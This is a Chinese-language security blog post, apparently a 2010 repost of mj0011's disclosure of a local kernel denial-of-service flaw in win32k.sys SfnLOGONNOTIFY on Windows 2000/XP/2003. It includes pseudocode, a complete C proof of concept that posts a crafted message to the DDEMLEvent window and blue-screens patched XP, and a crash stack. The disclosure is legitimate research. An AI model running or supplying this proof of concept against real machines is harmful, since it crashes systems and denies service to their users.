夜火博客

Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY 本地内核拒绝服务漏洞

2010-04-27
漏洞信息
漏洞信息
内核
Windows
2分钟
271字

Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY 本地内核拒绝服务漏洞 影响范围:Microsoft Windows XP/2000/2003 全补丁

漏洞细节:

Win32k.sys 在DispatchMessage时,会最后调用到xxxDefWindowProc,这个函数在处理某些消息时,会调用gapfnScSendMessage这个函数表中的函数来处理,其中2000/xp/2003下在处理0x4c号消息时,会有一个名为SfnLOGONNOTIFY 的函数,这个函数再当wParam == 4/13/12时,直接从lParam里取出数据,尽管函数内使用了SEH,但是只要传递错误的内核地址,仍然会引发系统崩溃。

伪代码:

if ( wParam == 4 || wParam == 13 || wParam == 12 ) {     v18 = *(_DWORD *)lParam;     v19 = *(_DWORD *)(lParam + 4);     v20 = *(_DWORD *)(lParam + 8);     v21 = *(_DWORD *)(lParam + 12);

测试代码:

#include “stdafx.h” #include “windows.h” int main(int argc, char* argv[]) {

printf(“Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln By MJ0011 th_decoder@126.com PressEnter”);

getchar(); HWND hwnd = FindWindow(“DDEMLEvent” , NULL);

if (hwnd == 0 ) {    printf(“cannot find DDEMLEvent Window! ”);    return 0 ; }

PostMessage(hwnd , 0x4c , 0x4 , 0x80000000);

return 0 ; }

全补丁的XP运行此代码立即蓝屏

常见崩溃栈:

kd> kc

win32k!SfnLOGONNOTIFY win32k!xxxDefWindowProc win32k!xxxEventWndProc win32k!xxxDispatchMessage win32k!NtUserDispatchMessage …

Windows 7/Vista 无此问题

via mj0011

本文标题:Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY 本地内核拒绝服务漏洞
文章作者:夜火
发布时间:2010-04-27